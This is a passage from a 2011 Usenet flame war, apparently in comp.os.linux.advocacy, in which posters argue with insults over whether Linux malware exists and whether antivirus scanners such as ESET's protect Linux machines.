The rest of us do not care that the children are wanking in the sewer,
and they can play with each other in peace there.

        Old guy
0
ibuprofin
9/1/2011 8:03:06 PM
>JeffM wrote:
>>reminds me of the guy who bought a magic stone
>>to carry with him to keep away tigers[...]
>>(Note: The product isn't available in Siberia or Bengal.)
>>
Dopez wrote:
>You think you're clever?
>
Demonstrating once again that wit is wasted on the witless.
0
jeffm_ (1319)
9/1/2011 10:22:36 PM
>>7 wrote:
>>>Could RayLopez99 now list one currently active virus
>>>that I can download and infect a patched Linux PC.
>>>
>JeffM wrote:
>> ...or even one that the ESET "Linux anti-virus" looks for.
>>
FromTheRafters wrote:
>http://go.eset.com/us/threat-center/threatsense-updates/search?q=linux
>
Yawn.
That's a long list of WIN32 infections.
Not a "fix" for Linux hole anywhere in sight.

As I said before:
::The ONLY need for an anti-whatever app on a Linux box
::is to catch files with WINDOZE-SPECIFIC infections.
::(if the box is a relay point for such files, e.g. a mail server
::or a habitual sharer of files from who-knows-where).

To paraphrase 7:
Apply the patches available for your Linux box and you'll be fine.
0
jeffm_ (1319)
9/1/2011 10:23:09 PM
JeffM wrote:
>>> 7 wrote:
>>>> Could RayLopez99 now list one currently active virus
>>>> that I can download and infect a patched Linux PC.
>>>>
>> JeffM wrote:
>>> ...or even one that the ESET "Linux anti-virus" looks for.
>>>
> FromTheRafters wrote:
>> http://go.eset.com/us/threat-center/threatsense-updates/search?q=linux
>>
> Yawn.
> That's a long list of WIN32 infections.
> Not a "fix" for Linux hole anywhere in sight.

So, you asked for '...or even one that the ESET "Linux anti-virus" looks 
for' and I provided you with many.

Back-peddle all you want.

[Snipped attempts to change the parameters]
0
erratic (209)
9/2/2011 1:59:30 AM
On 9/1/2011 9:59 PM, FromTheRafters wrote:
> JeffM wrote:
>>>> 7 wrote:
>>>>> Could RayLopez99 now list one currently active virus
>>>>> that I can download and infect a patched Linux PC.
>>>>>
>>> JeffM wrote:
>>>> ...or even one that the ESET "Linux anti-virus" looks for.
>>>>
>> FromTheRafters wrote:
>>> http://go.eset.com/us/threat-center/threatsense-updates/search?q=linux
>>>
>> Yawn.
>> That's a long list of WIN32 infections.
>> Not a "fix" for Linux hole anywhere in sight.
>
> So, you asked for '...or even one that the ESET "Linux anti-virus" looks
> for' and I provided you with many.
>
> Back-peddle all you want.
>
> [Snipped attempts to change the parameters]

LOL! COLA clowns always have an alternate excuse and tap dance with 
smoke and mirrors when reality faces them. It is what it is..... :)
0
Big
9/2/2011 2:55:42 AM
FromTheRafters wrote:
>So, you asked for '...or even one that the ESET "Linux anti-virus"
>looks for' and I provided you with many.
>
....after 7 used the word "infect".
What part of "infect" don't you understand.

....or are you trying to use the Typhoid Mary meme
(which has already been acknowledged)?

....as has the "dancing bunnies" meme.

A page full of Win32 malware was NOT what was requested.
Everyone already knows what a steaming pile Windoze is.
0
jeffm_ (1319)
9/2/2011 3:16:45 AM
JeffM wrote:
> FromTheRafters wrote:
>> So, you asked for '...or even one that the ESET "Linux anti-virus"
>> looks for' and I provided you with many.

[snipped more attempts to change the parameters]
0
erratic (209)
9/2/2011 3:29:01 AM
Big Steel wrote:
> On 9/1/2011 9:59 PM, FromTheRafters wrote:
>> JeffM wrote:
>>>>> 7 wrote:
>>>>>> Could RayLopez99 now list one currently active virus
>>>>>> that I can download and infect a patched Linux PC.
>>>>>>
>>>> JeffM wrote:
>>>>> ...or even one that the ESET "Linux anti-virus" looks for.
>>>>>
>>> FromTheRafters wrote:
>>>> http://go.eset.com/us/threat-center/threatsense-updates/search?q=linux
>>>>
>>> Yawn.
>>> That's a long list of WIN32 infections.
>>> Not a "fix" for Linux hole anywhere in sight.
>>
>> So, you asked for '...or even one that the ESET "Linux anti-virus" looks
>> for' and I provided you with many.
>>
>> Back-peddle all you want.
>>
>> [Snipped attempts to change the parameters]
>
> LOL! COLA clowns always have an alternate excuse and tap dance with
> smoke and mirrors when reality faces them. It is what it is..... :)

I'm not defending Windows, nor am I dissing Linux - I only provided what 
was asked for (and more). All he had to do was read the yellow 
highlighted portions. Perhaps I was asking too much from an OS zealot.

....don't know *what* he on about now, but I probably know a lot more 
about infections and operating systems than he does.
0
erratic (209)
9/2/2011 3:36:47 AM
There is that bd big head again.

If you must toot your own horn, you are not
near as good as you claim.


"FromTheRafters" <erratic@nomail.afraid.org> wrote in message 
news:j3pj0k$erl$1@dont-email.me...
, but I probably know a lot more
about infections and operating systems than he does. 

0
Bullwinkle
9/2/2011 5:37:42 AM
FromTheRafters <erratic@nomail.afraid.org> writes:

> Big Steel wrote:
>> On 9/1/2011 9:59 PM, FromTheRafters wrote:
>>> JeffM wrote:
>>>>>> 7 wrote:
>>>>>>> Could RayLopez99 now list one currently active virus
>>>>>>> that I can download and infect a patched Linux PC.
>>>>>>>
>>>>> JeffM wrote:
>>>>>> ...or even one that the ESET "Linux anti-virus" looks for.
>>>>>>
>>>> FromTheRafters wrote:
>>>>> http://go.eset.com/us/threat-center/threatsense-updates/search?q=linux
>>>>>
>>>> Yawn.
>>>> That's a long list of WIN32 infections.
>>>> Not a "fix" for Linux hole anywhere in sight.
>>>
>>> So, you asked for '...or even one that the ESET "Linux anti-virus" looks
>>> for' and I provided you with many.
>>>
>>> Back-peddle all you want.
>>>
>>> [Snipped attempts to change the parameters]
>>
>> LOL! COLA clowns always have an alternate excuse and tap dance with
>> smoke and mirrors when reality faces them. It is what it is..... :)
>
> I'm not defending Windows, nor am I dissing Linux - I only provided what was
> asked for (and more). All he had to do was read the yellow highlighted
> portions. Perhaps I was asking too much from an OS zealot.
>
> ...don't know *what* he on about now, but I probably know a lot more about
> infections and operating systems than he does.
>

JeffM is  COLA zealot. He's a plank to put it mildly.
0
hadronquark (21814)
9/2/2011 5:55:01 AM
FromTheRafters wrote:

> JeffM wrote:
>> FromTheRafters wrote:
>>> So, you asked for '...or even one that the ESET "Linux anti-virus"
>>> looks for' and I provided you with many.
> 
> [snipped more attempts to change the parameters]

Okay, so there were a few examples of malware that might conceivably 
attack Linux. Funny how none of them were reported by other sites than 
ESET?
Those I checked were trojan attacks, it was explained how they attacked 
OS/X, but not a word about how they could get into Linux except by social 
engineering. AV systems do not protect against stupidity.
0
bjornst (237)
9/2/2011 7:02:13 AM
in 532876 20110901 192454 Hadron<hadronquark@gmail.com> wrote:
>chrisv <chrisv@nospam.invalid> writes:
>
>> David Brown wrote:
>>
>>>Personally, I'd say that Linux is a standard mainstream
>>>choice for general purpose servers (unlike the desktop, where it is a
>>>niche choice) - but I would not claim it leads the market share.
>>
>> I can't imagine why it wouldn't.  It comes with everything you need
>> for free, unlike piecing-together an (expensive) Windows server...
>>
>
>No it doesnt. There are oodles of proprietary windows only server
>applictions developed over years for large companies. You do know what a
>server is dont you? We realise you're a foul mouhted, MS hating
>ignoramous but dont think your basement view covers that of the world's
>businesses -  It doesnt. Yes, for "general" tasks such as file serving,
>rdbms, mta etc etc it can be and is fine. But server do a LOT more than
>this in real industry.
>
>Your lack of knowledge of the real world is telling.

Anyone who has the sense to hate MS cannot be an "ignoramous".
Anyone who doesn't hate MS needs enlightenment.
0
Bob
9/2/2011 8:06:46 AM
On 9/1/2011 11:36 PM, FromTheRafters wrote:
> Big Steel wrote:
>> On 9/1/2011 9:59 PM, FromTheRafters wrote:
>>> JeffM wrote:
>>>>>> 7 wrote:
>>>>>>> Could RayLopez99 now list one currently active virus
>>>>>>> that I can download and infect a patched Linux PC.
>>>>>>>
>>>>> JeffM wrote:
>>>>>> ...or even one that the ESET "Linux anti-virus" looks for.
>>>>>>
>>>> FromTheRafters wrote:
>>>>> http://go.eset.com/us/threat-center/threatsense-updates/search?q=linux
>>>>>
>>>> Yawn.
>>>> That's a long list of WIN32 infections.
>>>> Not a "fix" for Linux hole anywhere in sight.
>>>
>>> So, you asked for '...or even one that the ESET "Linux anti-virus" looks
>>> for' and I provided you with many.
>>>
>>> Back-peddle all you want.
>>>
>>> [Snipped attempts to change the parameters]
>>
>> LOL! COLA clowns always have an alternate excuse and tap dance with
>> smoke and mirrors when reality faces them. It is what it is..... :)
>
> I'm not defending Windows, nor am I dissing Linux - I only provided what
> was asked for (and more). All he had to do was read the yellow
> highlighted portions. Perhaps I was asking too much from an OS zealot.
>
> ...don't know *what* he on about now, but I probably know a lot more
> about infections and operating systems than he does.

Look man, you are dealing with a COLA regular and not a of one of them 
is sane. COLA and the sign post just up ahead reads "welcome to the 
Twilight Zone". :)
0
Big
9/2/2011 11:20:33 AM
On 9/2/2011 1:37 AM, Bullwinkle. wrote:
> There is that bd big head again.
>
> If you must toot your own horn, you are not
> near as good as you claim.
>

Bulltinkle, you would be accepted in COLA with all your Tinker Bell news 
clippings posts. They would love you for them and toss roses at your feet.

Dr. Roy S. Schestowitz can be your best bud/pal in COLA, because that's 
all he does
is post news clippings too.  :)

0
Big
9/2/2011 11:38:11 AM
We don't accept COLA .Unlike you we don't do government
handouts.

Cost-of-Living Adjustment (COLA) Information

A COLA is an automatic adjustment in benefits that occurs annually.



"Big Steel" <"The Steel11177ttta"@Steel11277ttta.com> wrote in message 
news:RbidnWkiUsrTXf3TnZ2dnUVZ_uOdnZ2d@earthlink.com...
On 9/2/2011 1:37 AM, Bullwinkle. wrote:
> There is that bd big head again.
>
> If you must toot your own horn, you are not
> near as good as you claim.
>

Bulltinkle, you would be accepted in COLA with all your Tinker Bell news
clippings posts. They would love you for them and toss roses at your feet.

Dr. Roy S. Schestowitz can be your best bud/pal in COLA, because that's
all he does
is post news clippings too.  :)

0
Bullwinkle
9/2/2011 12:00:11 PM
On Thursday 01 September 2011 22:03 in comp.os.linux.setup, Moe Trin 
enlightened humanity with the following words...:

> On Wed, 31 Aug 2011, in the Usenet newsgroup comp.os.linux.setup, in
> article <j3m961$k7h$1@dont-email.me>, Aragorn wrote:
> 
>> [Other two groups snipped because it's RayLopez99's umpteenth attempt
>> at trolling.]
> 
> Well, he managed to hook you - and you compound the error by deleting
> those other groups.    Fix your kill file - there has been nothing
> posted in c.o.l.a that is even faintly useful/interesting since
> "Thu, 06 Nov 1997 21:57:33 -0800" when some unidentified CPU hacker
> reported discovering the F00F bug (while apparently playing "what if")
> in Message-ID <3462ADCD.135B@noname.com>.

Unfortunately, KNode does not allow filtering on crossposted groups.  
Lopez99 himself is in my killfile, and has been for a long time already.

-- 
Aragorn
(registered GNU/Linux user #223157)
0
Aragorn
9/2/2011 1:04:35 PM
On 9/2/2011 8:00 AM, Bullwinkle. wrote:
> We don't accept COLA .Unlike you we don't do government
> handouts.
>
> Cost-of-Living Adjustment (COLA) Information
>
> A COLA is an automatic adjustment in benefits that occurs annually.
>
>

Your jackassness proceeds you Bulltinkel. Comp.os.linux.advocacy = COLA 
you clown.
0
bigonezzzz (216)
9/2/2011 1:19:13 PM
Hadron wrote:
> FromTheRafters<erratic@nomail.afraid.org>  writes:
>
>> Big Steel wrote:
>>> On 9/1/2011 9:59 PM, FromTheRafters wrote:
>>>> JeffM wrote:
>>>>>>> 7 wrote:
>>>>>>>> Could RayLopez99 now list one currently active virus
>>>>>>>> that I can download and infect a patched Linux PC.
>>>>>>>>
>>>>>> JeffM wrote:
>>>>>>> ...or even one that the ESET "Linux anti-virus" looks for.
>>>>>>>
>>>>> FromTheRafters wrote:
>>>>>> http://go.eset.com/us/threat-center/threatsense-updates/search?q=linux
>>>>>>
>>>>> Yawn.
>>>>> That's a long list of WIN32 infections.
>>>>> Not a "fix" for Linux hole anywhere in sight.
>>>>
>>>> So, you asked for '...or even one that the ESET "Linux anti-virus" looks
>>>> for' and I provided you with many.
>>>>
>>>> Back-peddle all you want.
>>>>
>>>> [Snipped attempts to change the parameters]
>>>
>>> LOL! COLA clowns always have an alternate excuse and tap dance with
>>> smoke and mirrors when reality faces them. It is what it is..... :)
>>
>> I'm not defending Windows, nor am I dissing Linux - I only provided what was
>> asked for (and more). All he had to do was read the yellow highlighted
>> portions. Perhaps I was asking too much from an OS zealot.
>>
>> ...don't know *what* he on about now, but I probably know a lot more about
>> infections and operating systems than he does.
>>
>
> JeffM is  COLA zealot. He's a plank to put it mildly.

Thanks for confirming my suspicions.
0
erratic (209)
9/2/2011 1:40:57 PM
Sound like a non interesting group for blow hards.

Carry on, with it.


"Big Steel" <bigonezzzz@big1zzzzz.com> wrote in message 
news:TvudnYkwQPpSSv3TnZ2dnUVZ_hqdnZ2d@earthlink.com...
On 9/2/2011 8:00 AM, Bullwinkle. wrote:
> We don't accept COLA .Unlike you we don't do government
> handouts.
>
> Cost-of-Living Adjustment (COLA) Information
>
> A COLA is an automatic adjustment in benefits that occurs annually.
>
>

Your jackassness proceeds you Bulltinkel. Comp.os.linux.advocacy = COLA
you clown. 

0
Bullwinkle
9/2/2011 1:54:02 PM
On 01/09/2011 11:16 PM, JeffM wrote:
> FromTheRafters wrote:
>> So, you asked for '...or even one that the ESET "Linux anti-virus"
>> looks for' and I provided you with many.
>>
> ...after 7 used the word "infect".
> What part of "infect" don't you understand.
>
> ...or are you trying to use the Typhoid Mary meme
> (which has already been acknowledged)?
>
> ...as has the "dancing bunnies" meme.
>
> A page full of Win32 malware was NOT what was requested.
> Everyone already knows what a steaming pile Windoze is.


There were several Linux items listed. use Edit/Find if you can't see 
them with the naked eye.

Wolf K.
0
wekirch (32)
9/2/2011 1:54:24 PM
FromTheRafters wrote:

>Hadron wrote:
>>
>> JeffM is  COLA zealot. He's a plank to put it mildly.
>
>Thanks for confirming my suspicions.

That "Hadron" is an idiot and a liar?

And that's putting it mildly.

-- 
'And *WHY* so much OSS is buggy and incomplete. "Works for me" ->
release.'  -  "True Linux Advocate" Hadron Quark
0
chrisv (22840)
9/2/2011 1:57:27 PM
Wolf K <wekirch@sympatico.ca> writes:

> On 01/09/2011 11:16 PM, JeffM wrote:
>> FromTheRafters wrote:
>>> So, you asked for '...or even one that the ESET "Linux anti-virus"
>>> looks for' and I provided you with many.
>>>
>> ...after 7 used the word "infect".
>> What part of "infect" don't you understand.
>>
>> ...or are you trying to use the Typhoid Mary meme
>> (which has already been acknowledged)?
>>
>> ...as has the "dancing bunnies" meme.
>>
>> A page full of Win32 malware was NOT what was requested.
>> Everyone already knows what a steaming pile Windoze is.
>
> There were several Linux items listed. use Edit/Find if you can't see them with
> the naked eye.
>
> Wolf K.

Once again COLA "advocates" venture outside of Roy Schestowitz's
stomping ground and are met with suspicion and finally sent packing back
into the sleazy underbelly of ignorance, lies, bile and cluelessness
where they to fester and belong.

I suspect most of the real Linux advocates and users in the groups
listed in the newsgroup line are appalled by what they read as
"advocacy" from the likes of JeffM, Chris Ahlstrom, Roy Schestowitz,
chrisv et al. It's a hoorible job trying to keep them penned into COLA
but someone has to.
0
hadronquark (21814)
9/2/2011 2:09:42 PM
Bj�rn Steensrud wrote:
> FromTheRafters wrote:
>
>> JeffM wrote:
>>> FromTheRafters wrote:
>>>> So, you asked for '...or even one that the ESET "Linux anti-virus"
>>>> looks for' and I provided you with many.
>>
>> [snipped more attempts to change the parameters]
>
> Okay, so there were a few examples of malware that might conceivably
> attack Linux. Funny how none of them were reported by other sites than
> ESET?

They are, all one has to do is look. Often, each company will use a 
different malware name for the same entity.

I just went to the sites of five other vendors and they all list some 
(albeit very few) Linux malware programs (including viruses). I've got a 
screen cap of the Trend-Micro site's page, but I'm pretty sure that no 
matter how much proof I post it will always fall short of acceptance.

http://i53.tinypic.com/334ja09.jpg

Getting back on track, the challenge was to name but one virus that a 
vendor that supplies an antivirus scanner that runs on Linux 
(specifically E-Set) actually looks for (I don't know if Trend-Micro 
supplies one). The idea being that a Linux based scanner is *only* there 
to look for Windows based viruses and does nothing to protect the Linux 
machine itself. It's not true, and I have posted proof regarding E-Set. 
There is no need to keep changing the parameters of the discussion into 
ITW malware or non-lame Linux malware, or other scanners. Any further 
investigation would have probably have come back around to "but they 
don't have a scanner that runs on Linux" so the best thing for me to do 
is to have someone post the name of another scanner that runs on Linux 
and I will see if I can find references to Linux based malware that is 
detected by it.

I'm reasonably confident that I can do so with out actually asking the 
vendor's support team.

> Those I checked were trojan attacks, it was explained how they attacked
> OS/X, but not a word about how they could get into Linux except by social
> engineering. AV systems do not protect against stupidity.

Very true, I'd even go so far as to say that they are enablers of such 
stupid behavior. Set and forget and go about with bad behavior with the 
idea that some program is going to protect you from yourself. It sends a 
bad message. Linux does well to try to enforce sane behavior - but 
people are still people after all.

BTW, even if a malware presents itself as a trojan and subsequently 
infects a program file with a viral payload - that virus is still a 
virus and that trojan is still a trojan. The virus infects ELF files 
with a copy of itself and it is irrelevant how it got there in the first 
place. Many of the first viruses were presented as trojans on a BBS and 
only became viral when the trojan modified the first of its target files.

0
erratic (209)
9/2/2011 2:11:16 PM
FromTheRafters wrote:

> Bjørn Steensrud wrote:
>> FromTheRafters wrote:
>>
>>> JeffM wrote:
>>>> FromTheRafters wrote:
>>>>> So, you asked for '...or even one that the ESET "Linux anti-virus"
>>>>> looks for' and I provided you with many.
>>>
>>> [snipped more attempts to change the parameters]
>>
>> Okay, so there were a few examples of malware that might conceivably
>> attack Linux. Funny how none of them were reported by other sites than
>> ESET?
> 
> They are, all one has to do is look. Often, each company will use a
> different malware name for the same entity.
> 
> I just went to the sites of five other vendors and they all list some
> (albeit very few) Linux malware programs (including viruses). I've got a
> screen cap of the Trend-Micro site's page, but I'm pretty sure that no
> matter how much proof I post it will always fall short of acceptance.
> 
> http://i53.tinypic.com/334ja09.jpg

Computers infected since december 4, 2000 : Total worldwide: 14

Are you fore real?
*That* is /proof/ in your eyes?

And do you have *any* idea at all what "elf_Snoopy" did, and how it infected 
computers?

I'll give you a hint: The infected file to to be *copied* to the system to 
"infect" it. It could only "infect" executeable files owned by the user. 
Which count on a normal linux system to a total of about zero

So, you are either dumber than Hadron Larry (if that is possible at all) or 
you are willfully posting lies and bullshit

0
9/2/2011 2:21:38 PM
Peter K�hlmann wrote:

> FromTheRafters wrote:
>
>> Bj�rn Steensrud wrote:
>>> FromTheRafters wrote:
>>>
>>>> JeffM wrote:
>>>>> FromTheRafters wrote:
>>>>>> So, you asked for '...or even one that the ESET "Linux anti-virus"
>>>>>> looks for' and I provided you with many.
>>>>
>>>> [snipped more attempts to change the parameters]
>>>
>>> Okay, so there were a few examples of malware that might conceivably
>>> attack Linux. Funny how none of them were reported by other sites than
>>> ESET?
>> 
>> They are, all one has to do is look. Often, each company will use a
>> different malware name for the same entity.
>> 
>> I just went to the sites of five other vendors and they all list some
>> (albeit very few) Linux malware programs (including viruses). I've got a
>> screen cap of the Trend-Micro site's page, but I'm pretty sure that no
>> matter how much proof I post it will always fall short of acceptance.
>> 
>> http://i53.tinypic.com/334ja09.jpg
>
> Computers infected since december 4, 2000 : Total worldwide: 14
>
> Are you fore real?
> *That* is /proof/ in your eyes?
>
> And do you have *any* idea at all what "elf_Snoopy" did, and how it infected 
> computers?
>
> I'll give you a hint: The infected file to to be *copied* to the system to 
> "infect" it. It could only "infect" executeable files owned by the user. 
> Which count on a normal linux system to a total of about zero

Didn't see the OP's post, but it appears s/h/it has no idea wtf s/h/it's
talking about. 

> So, you are either dumber than Hadron Larry (if that is possible at all) or 
> you are willfully posting lies and bullshit

FUD, IMO.
According to security experts like Scott Granneman, there hasn't been
a widespread Linux malware threat of the type that M$ Windows
software faces, because of the malware's lack of root access & fast
updates to most Linux vulnerabilities.

As most of the Internet runs on Linux servers (more than 60% according to
Ballmer) you'd have thought that the blackhat crackers would have hammered
them by now, but why is it that it's the *minority* of M$ Windows servers
which are attacked. Could it *just* be that they are far easier to knock
over? Something which obviously hasn't occured to the OP.

The wintrolls Argue that ""the growth in Linux malware is due to its increasing
popularity, particularly as a desktop operating system" but this argument 
simply ignores Linux's dominance in a number of non-desktop specialties,
including Web servers and scientific workstations. A virus/trojan/worm
author who successfully targeted specifically Apache httpd Linux/x86 Web
servers would both have an extremely target-rich environment & instantly
earn lasting fame in the blackhat cracker community, but this just doesn't
happen. 

IMO compared to the very wide variety of easy ways a root-account user
has of damaging/destroying their system,  viruses are a very minor system
threat.  There is no way that automated "checking" software can ever
prevent a careless root user from damaging (or fully destroying) the system.
The far bigger, & real problem, is that of sysadmins being willing to carry
out dangerous actions while logged in as the root user.
By and large, you can suffer system (root) compromise from malware only by
being *mind-bogglingly dumb*.


-- 
In the professional world of astronomy
Linux is ubiquitous.
Nick Howes - Royal Astronomical Society.
& technical consultant to GEO (Spain).
0
wp2061 (3218)
9/2/2011 3:19:34 PM
On 9/2/2011 10:21 AM, Peter Köhlmann wrote:
> FromTheRafters wrote:
>
>> Bjørn Steensrud wrote:
>>> FromTheRafters wrote:
>>>
>>>> JeffM wrote:
>>>>> FromTheRafters wrote:
>>>>>> So, you asked for '...or even one that the ESET "Linux anti-virus"
>>>>>> looks for' and I provided you with many.
>>>>
>>>> [snipped more attempts to change the parameters]
>>>
>>> Okay, so there were a few examples of malware that might conceivably
>>> attack Linux. Funny how none of them were reported by other sites than
>>> ESET?
>>
>> They are, all one has to do is look. Often, each company will use a
>> different malware name for the same entity.
>>
>> I just went to the sites of five other vendors and they all list some
>> (albeit very few) Linux malware programs (including viruses). I've got a
>> screen cap of the Trend-Micro site's page, but I'm pretty sure that no
>> matter how much proof I post it will always fall short of acceptance.
>>
>> http://i53.tinypic.com/334ja09.jpg
>
> Computers infected since december 4, 2000 : Total worldwide: 14
>
> Are you fore real?
> *That* is /proof/ in your eyes?
>
> And do you have *any* idea at all what "elf_Snoopy" did, and how it infected
> computers?
>
> I'll give you a hint: The infected file to to be *copied* to the system to
> "infect" it. It could only "infect" executeable files owned by the user.
> Which count on a normal linux system to a total of about zero
>
> So, you are either dumber than Hadron Larry (if that is possible at all) or
> you are willfully posting lies and bullshit
>

Here is another clown that is a MS programmer by profession and 
hypocrite both day and night that can't get a damn job using Linux if 
his stinking life depended upon it. He's just another COLA lunatic with 
jaw-jack and lip-service.

He doesn't have the guts to post to where you are at and he gives his 
lip-service local in worthless ass COLA.


You should kick his ass to the curb too.
0
bigonezzzz (216)
9/2/2011 3:35:11 PM
William Poaster stated in post 6p87j8-2v4.ln1@linuxnetwork.alpha.org on
9/2/11 8:19 AM:

> Peter Köhlmann wrote:
> 
>> FromTheRafters wrote:
>> 
>>> Bjørn Steensrud wrote:
>>>> FromTheRafters wrote:
>>>> 
>>>>> JeffM wrote:
>>>>>> FromTheRafters wrote:
>>>>>>> So, you asked for '...or even one that the ESET "Linux anti-virus"
>>>>>>> looks for' and I provided you with many.
>>>>> 
>>>>> [snipped more attempts to change the parameters]
>>>> 
>>>> Okay, so there were a few examples of malware that might conceivably
>>>> attack Linux. Funny how none of them were reported by other sites than
>>>> ESET?
>>> 
>>> They are, all one has to do is look. Often, each company will use a
>>> different malware name for the same entity.
>>> 
>>> I just went to the sites of five other vendors and they all list some
>>> (albeit very few) Linux malware programs (including viruses). I've got a
>>> screen cap of the Trend-Micro site's page, but I'm pretty sure that no
>>> matter how much proof I post it will always fall short of acceptance.
>>> 
>>> http://i53.tinypic.com/334ja09.jpg
>> 
>> Computers infected since december 4, 2000 : Total worldwide: 14
>> 
>> Are you fore real?
>> *That* is /proof/ in your eyes?
>> 
>> And do you have *any* idea at all what "elf_Snoopy" did, and how it infected
>> computers?
>> 
>> I'll give you a hint: The infected file to to be *copied* to the system to
>> "infect" it. It could only "infect" executeable files owned by the user.
>> Which count on a normal linux system to a total of about zero
> 
> Didn't see the OP's post, but it appears s/h/it has no idea wtf s/h/it's
> talking about. 
> 
>> So, you are either dumber than Hadron Larry (if that is possible at all) or
>> you are willfully posting lies and bullshit
> 
> FUD, IMO.
> According to security experts like Scott Granneman, there hasn't been
> a widespread Linux malware threat of the type that M$ Windows
> software faces, because of the malware's lack of root access & fast
> updates to most Linux vulnerabilities.
> 
> As most of the Internet runs on Linux servers (more than 60% according to
> Ballmer) you'd have thought that the blackhat crackers would have hammered
> them by now, but why is it that it's the *minority* of M$ Windows servers
> which are attacked. Could it *just* be that they are far easier to knock
> over? Something which obviously hasn't occured to the OP.
> 
> The wintrolls Argue that ""the growth in Linux malware is due to its
> increasing
> popularity, particularly as a desktop operating system" but this argument
> simply ignores Linux's dominance in a number of non-desktop specialties,
> including Web servers and scientific workstations. A virus/trojan/worm
> author who successfully targeted specifically Apache httpd Linux/x86 Web
> servers would both have an extremely target-rich environment & instantly
> earn lasting fame in the blackhat cracker community, but this just doesn't
> happen. 
> 
> IMO compared to the very wide variety of easy ways a root-account user
> has of damaging/destroying their system,  viruses are a very minor system
> threat.  There is no way that automated "checking" software can ever
> prevent a careless root user from damaging (or fully destroying) the system.
> The far bigger, & real problem, is that of sysadmins being willing to carry
> out dangerous actions while logged in as the root user.
> By and large, you can suffer system (root) compromise from malware only by
> being *mind-bogglingly dumb*.
> 
Ever heard of Android?


-- 
🙈🙉🙊


0
usenet2 (47889)
9/2/2011 3:42:44 PM
On 9/2/2011 11:19 AM, William Poaster wrote:
> Peter K�hlmann wrote:
>
>> FromTheRafters wrote:
>>
>>> Bj�rn Steensrud wrote:
>>>> FromTheRafters wrote:
>>>>
>>>>> JeffM wrote:
>>>>>> FromTheRafters wrote:
>>>>>>> So, you asked for '...or even one that the ESET "Linux anti-virus"
>>>>>>> looks for' and I provided you with many.
>>>>>
>>>>> [snipped more attempts to change the parameters]
>>>>
>>>> Okay, so there were a few examples of malware that might conceivably
>>>> attack Linux. Funny how none of them were reported by other sites than
>>>> ESET?
>>>
>>> They are, all one has to do is look. Often, each company will use a
>>> different malware name for the same entity.
>>>
>>> I just went to the sites of five other vendors and they all list some
>>> (albeit very few) Linux malware programs (including viruses). I've got a
>>> screen cap of the Trend-Micro site's page, but I'm pretty sure that no
>>> matter how much proof I post it will always fall short of acceptance.
>>>
>>> http://i53.tinypic.com/334ja09.jpg
>>
>> Computers infected since december 4, 2000 : Total worldwide: 14
>>
>> Are you fore real?
>> *That* is /proof/ in your eyes?
>>
>> And do you have *any* idea at all what "elf_Snoopy" did, and how it infected
>> computers?
>>
>> I'll give you a hint: The infected file to to be *copied* to the system to
>> "infect" it. It could only "infect" executeable files owned by the user.
>> Which count on a normal linux system to a total of about zero
>
> Didn't see the OP's post, but it appears s/h/it has no idea wtf s/h/it's
> talking about.
>
>> So, you are either dumber than Hadron Larry (if that is possible at all) or
>> you are willfully posting lies and bullshit
>
> FUD, IMO.
> According to security experts like Scott Granneman, there hasn't been
> a widespread Linux malware threat of the type that M$ Windows
> software faces, because of the malware's lack of root access&  fast
> updates to most Linux vulnerabilities.
>
> As most of the Internet runs on Linux servers (more than 60% according to
> Ballmer) you'd have thought that the blackhat crackers would have hammered
> them by now, but why is it that it's the *minority* of M$ Windows servers
> which are attacked. Could it *just* be that they are far easier to knock
> over? Something which obviously hasn't occured to the OP.
>
> The wintrolls Argue that ""the growth in Linux malware is due to its increasing
> popularity, particularly as a desktop operating system" but this argument
> simply ignores Linux's dominance in a number of non-desktop specialties,
> including Web servers and scientific workstations. A virus/trojan/worm
> author who successfully targeted specifically Apache httpd Linux/x86 Web
> servers would both have an extremely target-rich environment&  instantly
> earn lasting fame in the blackhat cracker community, but this just doesn't
> happen.
>
> IMO compared to the very wide variety of easy ways a root-account user
> has of damaging/destroying their system,  viruses are a very minor system
> threat.  There is no way that automated "checking" software can ever
> prevent a careless root user from damaging (or fully destroying) the system.
> The far bigger,&  real problem, is that of sysadmins being willing to carry
> out dangerous actions while logged in as the root user.
> By and large, you can suffer system (root) compromise from malware only by
> being *mind-bogglingly dumb*.
>
>

0
bigonezzzz (216)
9/2/2011 3:43:57 PM
On 9/2/2011 11:42 AM, Snit wrote:
> William Poaster stated in post 6p87j8-2v4.ln1@linuxnetwork.alpha.org on
> 9/2/11 8:19 AM:
>
>> Peter Köhlmann wrote:
>>
>>> FromTheRafters wrote:
>>>
>>>> Bjørn Steensrud wrote:
>>>>> FromTheRafters wrote:
>>>>>
>>>>>> JeffM wrote:
>>>>>>> FromTheRafters wrote:
>>>>>>>> So, you asked for '...or even one that the ESET "Linux anti-virus"
>>>>>>>> looks for' and I provided you with many.
>>>>>>
>>>>>> [snipped more attempts to change the parameters]
>>>>>
>>>>> Okay, so there were a few examples of malware that might conceivably
>>>>> attack Linux. Funny how none of them were reported by other sites than
>>>>> ESET?
>>>>
>>>> They are, all one has to do is look. Often, each company will use a
>>>> different malware name for the same entity.
>>>>
>>>> I just went to the sites of five other vendors and they all list some
>>>> (albeit very few) Linux malware programs (including viruses). I've got a
>>>> screen cap of the Trend-Micro site's page, but I'm pretty sure that no
>>>> matter how much proof I post it will always fall short of acceptance.
>>>>
>>>> http://i53.tinypic.com/334ja09.jpg
>>>
>>> Computers infected since december 4, 2000 : Total worldwide: 14
>>>
>>> Are you fore real?
>>> *That* is /proof/ in your eyes?
>>>
>>> And do you have *any* idea at all what "elf_Snoopy" did, and how it infected
>>> computers?
>>>
>>> I'll give you a hint: The infected file to to be *copied* to the system to
>>> "infect" it. It could only "infect" executeable files owned by the user.
>>> Which count on a normal linux system to a total of about zero
>>
>> Didn't see the OP's post, but it appears s/h/it has no idea wtf s/h/it's
>> talking about.
>>
>>> So, you are either dumber than Hadron Larry (if that is possible at all) or
>>> you are willfully posting lies and bullshit
>>
>> FUD, IMO.
>> According to security experts like Scott Granneman, there hasn't been
>> a widespread Linux malware threat of the type that M$ Windows
>> software faces, because of the malware's lack of root access&  fast
>> updates to most Linux vulnerabilities.
>>
>> As most of the Internet runs on Linux servers (more than 60% according to
>> Ballmer) you'd have thought that the blackhat crackers would have hammered
>> them by now, but why is it that it's the *minority* of M$ Windows servers
>> which are attacked. Could it *just* be that they are far easier to knock
>> over? Something which obviously hasn't occured to the OP.
>>
>> The wintrolls Argue that ""the growth in Linux malware is due to its
>> increasing
>> popularity, particularly as a desktop operating system" but this argument
>> simply ignores Linux's dominance in a number of non-desktop specialties,
